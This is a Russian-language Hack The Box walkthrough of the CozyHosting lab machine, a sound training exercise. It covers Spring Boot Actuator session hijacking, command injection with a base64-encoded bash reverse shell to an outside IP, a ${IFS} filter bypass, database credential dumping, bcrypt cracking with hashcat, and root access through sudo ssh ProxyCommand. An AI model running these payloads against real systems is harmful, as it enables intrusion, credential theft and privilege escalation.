March 6

HTB CozyHosting. Эксплуатируем инъекцию команд в веб-приложении на Java

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

Се­год­ня мы с тобой порабо­таем с фрей­мвор­ком Spring Boot и про­ведем инъ­екцию команд, что­бы получить дос­туп к веб‑сер­веру. Зах­ватив сес­сию, покопа­емся в базе дан­ных в поис­ках учет­ных дан­ных, а при повыше­нии при­виле­гий при­меним тех­нику GTFOBins для SSH.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине CozyHosting с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности машины — лег­кий.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.230 cozyhosting.htb

И запус­каем ска­ниро­вание пор­тов.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.9p1;
  • 80 — веб‑сер­вер Nginx 1.18.0.

По обык­новению, сра­зу перехо­дим к прос­мотру сай­тов на веб‑сер­вере.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му прис­тупим к ска­ниро­ванию скры­тых катало­гов и фай­лов.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch, DIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков.

За­пус­каем ска­нер:

feroxbuster -u http://cozyhosting.htb/ -t 256 -w files_interesting.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью feroxbuster

В отче­те видим зак­рытую админку (/admin), стра­ницу авто­риза­ции (/login), а так­же каталог /actuator.

Spring Boot Actuator — это под­про­ект Spring Boot Framework. Он исполь­зует эндпо­инты HTTP для пре­дос­тавле­ния опе­ратив­ной информа­ции о любом запущен­ном при­ложе­нии. Основное пре­иму­щес­тво этой биб­лиоте­ки в том, что адми­нис­тра­тор получа­ет показа­тели работос­пособ­ности и монито­рин­га из готовых к работе при­ложе­ний. К тому же Actuator — это удоб­ное средс­тво для сбо­ра мет­рик и информи­рова­ния о сос­тоянии базы дан­ных. Пер­вым делом про­верим конеч­ные точ­ки Actuator.

curl http://cozyhosting.htb/actuator | jq

Ко­неч­ные точ­ки Actuator

Те­перь мож­но обра­тить­ся к каж­дой из них и получить информа­цию о той или иной стра­нице. К при­меру, /actuator/sessions отоб­разит спи­сок сущес­тву­ющих в дан­ный момент сес­сий на сай­те.

curl http://cozyhosting.htb/actuator/sessions | jq

Спи­сок иден­тифика­торов сес­сий

Эн­дпо­инт /actuator/mappings даст нам кар­ту сай­та.

curl http://cozyhosting.htb/actuator/mappings | jq

Спи­сок стра­ниц сай­та
Спи­сок стра­ниц сай­та (про­дол­жение)

От­меча­ем для себя инте­рес­ную стра­ницу /executessh, при­нима­ющую POST-дан­ные. Это потен­циаль­но путь к уда­лен­ному исполне­нию кода. Так­же в ска­не не было стра­ницы /addhost. Что­бы получить к дос­туп к этим адре­сам, сна­чала нуж­но авто­ризо­вать­ся.

ТОЧКА ОПОРЫ

У нас есть нес­коль­ко иден­тифика­торов сес­сий, некото­рые из них для неав­торизо­ван­ных поль­зовате­лей, а некото­рые для поль­зовате­ля kanderson. Откро­ем в бра­узе­ре средс­тва раз­работ­ки, перей­дем к нас­трой­кам при­ложе­ния и в локаль­ном хра­нили­ще раз­вернем сох­ранен­ные cookies. Затем выбира­ем из спис­ка текущий сайт и меня­ем зна­чение JSESSIONID. Пос­ле обновле­ния стра­ницы перехо­дим к зак­рытой до это­го стра­нице /admin.

Ло­каль­ное хра­нили­ще при­ложе­ния в бра­узе­ре
Стра­ница /admin

Здесь есть фор­ма для про­вер­ки соеди­нения SSH, видимо, она и обра­щает­ся к стра­нице /executessh. Дела­ем тес­товый зап­рос и перех­ватыва­ем дан­ные в Burp Proxy. Так как адрес сер­вера и имя поль­зовате­ля, ско­рее все­го, прос­то переда­ются коман­де SSH в коман­дную стро­ку, исполь­зуем сим­вол ; для раз­деления «команд».

Ре­зуль­тат выпол­нения зап­роса

Ви­дим сооб­щение об ошиб­ке command not found, так как реаль­ная коман­да была отде­лена сим­волом ;. Теперь переда­ем самую обыч­ную наг­рузку для инъ­екции команд ОС.

Ре­зуль­тат выпол­нения зап­роса

В отве­те получа­ем часть вывода выпол­ненной коман­ды id. Так как про­вер­ка прош­ла успешно, откры­ваем лис­тенер pwncat-cs -lp 4321 и выпол­няем реверс‑шелл:

/bin/bash -i >& /dev/tcp/10.10.16.18/4321 0>&1

За­коди­руем его в Base64 и переда­дим в виде вот такой конс­трук­ции:

echo '/bin/bash -i >& /dev/tcp/10.10.16.18/4321 0>&1' | base64 -w0echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE4LzQzMjEgMD4mMQo= |base64 -d | bash

Ре­зуль­тат выпол­нения зап­роса

Но сно­ва получим ошиб­ку, на этот раз свя­зан­ную с наличи­ем в наг­рузке про­белов. Заменить их очень прос­то. К при­меру, мож­но исполь­зовать пос­ледова­тель­ность ${IFS}, которая вос­при­нима­ется опе­раци­онной сис­темой как раз­делитель по умол­чанию, то есть про­бел. Сно­ва выпол­няем зап­рос и на этот раз получа­ем сес­сию от име­ни поль­зовате­ля app.

Сес­сия поль­зовате­ля app

ПРОДВИЖЕНИЕ

В домаш­нем катало­ге учет­ной записи находим само при­ложе­ние.

Со­дер­жимое катало­га app

Так как это файл .jar, мы можем его деком­пилиро­вать и про­ана­лизи­ровать исходный код. Для заг­рузки фай­ла с уда­лен­ного хос­та исполь­зуем pwncat-cs. Для это­го сна­чала ком­бинаци­ей кла­виш Ctrl-D выходим в основное меню лис­тенера, коман­дой download ска­чива­ем файл и коман­дой back воз­вра­щаем­ся обратно в сес­сию.

Заг­рузка фай­ла

Пер­вым делом разар­хивиру­ем все фай­лы и про­верим нес­коль­ко важ­ных строк вро­де passw, secret и token.

По­иск подс­тро­ки passw

И находим какой‑то пароль в фай­ле application.properties. Давай пос­мотрим все содер­жимое это­го фай­ла.

Со­дер­жимое фай­ла application.properties

Мы наш­ли учет­ные дан­ные для под­клю­чения к СУБД PostgreSQL. Не забыва­ем при­менить этот пароль к дру­гим поль­зовате­лям в сис­теме, хотя в этот раз ничего и не получа­ется. Под­клю­чим­ся к базе cozyhosting и пос­мотрим, какие там есть таб­лицы.

psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost:5432/cozyhosting"\dt

Таб­лицы в базе дан­ных cozyhosting

На­ибо­лее инте­рес­на нам таб­лица users, получим из нее все записи.

select * from users;

Со­дер­жимое таб­лицы users

Это хеши bcrypt, и нам нуж­но их взло­мать. Для перебо­ра при помощи hashcat ему надо будет ука­зать соот­ветс­тву­ющий режим. Если мы его не зна­ем, мож­но поис­кать в справ­ке:

hashcat --example | grep '\$2a\#39; -B12 -A1

Справ­ка hashcat

По­луча­ем режим 3200, его необ­ходимо ука­зать в парамет­ре -m при запус­ке hashcat.

hashcat -m 3200 -a 0 hashes.txt rockyou.txt

Ре­зуль­тат работы hashcat

По­луча­ем один пароль, который сно­ва про­буем исполь­зовать для логина от име­ни сис­темных поль­зовате­лей. Их спи­сок мож­но узнать из фай­ла /etc/passwd.

Со­дер­жимое фай­ла /etc/passwd

По­луча­ем воз­можность под­клю­чать­ся по SSH, а так­же исполь­зовать коман­ду su для сме­ны юзе­ра.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Один из самых час­тых методов повыше­ния при­виле­гий — через коман­ды, ука­зан­ные в фай­ле sudoers.

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Нас­трой­ки судо­ера

Те­кущий поль­зователь может выпол­нить коман­ду ssh в при­виле­гиро­ван­ном кон­тек­сте. Пер­вым делом про­веря­ем наличие тех­ник GTFOBins для SSH.

Справка: GTFOBins

GTFOBins — это спи­сок исполня­емых фай­лов Unix, которые мож­но исполь­зовать для обхо­да локаль­ных огра­ниче­ний безопас­ности в неп­равиль­но нас­тро­енных сис­темах. Про­ект собира­ет информа­цию о спо­собах исполь­зовать закон­ные фун­кции исполня­емых фай­лов Unix таким обра­зом, что­бы получить дос­туп к коман­дным обо­лоч­кам, повысить при­виле­гии или передать фай­лы.

Опи­сание экс­плу­ата­ции SSH для получе­ния шел­ла

На­ходим три под­ходящих вари­анта получе­ния коман­дной обо­лоч­ки при выпол­нении коман­ды SSH. Вто­рая най­ден­ная коман­да при исполь­зовании sudo дает нам шелл в при­виле­гиро­ван­ном кон­тек­сте.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x